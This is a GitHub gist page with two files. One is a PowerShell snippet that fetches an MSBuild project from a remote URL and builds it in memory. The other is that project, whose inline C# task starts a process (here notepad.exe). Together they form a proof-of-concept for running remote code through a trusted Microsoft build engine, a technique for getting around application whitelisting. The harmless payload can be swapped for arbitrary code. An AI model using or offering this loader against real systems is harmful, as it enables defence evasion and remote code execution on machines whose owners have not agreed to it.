Created
September 2, 2018 17:45
-
-
Save decay88/92082f4681e9d3473ab386e23c5ce473 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [Reflection.Assembly]::LoadWithPartialName('Microsoft.Build'); | |
| $proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj"); | |
| $e=new-object Microsoft.Build.Evaluation.Project($proj); | |
| $e.Build(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
| <Target Name="Hello"> | |
| <FragmentExample /> | |
| <ClassExample /> | |
| </Target> | |
| <UsingTask | |
| TaskName="FragmentExample" | |
| TaskFactory="CodeTaskFactory" | |
| AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
| <ParameterGroup/> | |
| <Task> | |
| <Using Namespace="System" /> | |
| <Code Type="Fragment" Language="cs"> | |
| <![CDATA[ | |
| ]]> | |
| </Code> | |
| </Task> | |
| </UsingTask> | |
| <UsingTask | |
| TaskName="ClassExample" | |
| TaskFactory="CodeTaskFactory" | |
| AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
| <Task> | |
| <!-- <Reference Include="System.IO" /> Example Include --> | |
| <Code Type="Class" Language="cs"> | |
| <![CDATA[ | |
| using System; | |
| using System.Diagnostics; | |
| using Microsoft.Build.Framework; | |
| using Microsoft.Build.Utilities; | |
| public class ClassExample : Task, ITask | |
| { | |
| public override bool Execute() | |
| { | |
| System.Diagnostics.Process proc = new System.Diagnostics.Process(); | |
| proc.StartInfo.FileName = "c:\\windows\\system32\\notepad.exe"; | |
| proc.Start(); | |
| return true; | |
| } | |
| } | |
| ]]> | |
| </Code> | |
| </Task> | |
| </UsingTask> | |
| </Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment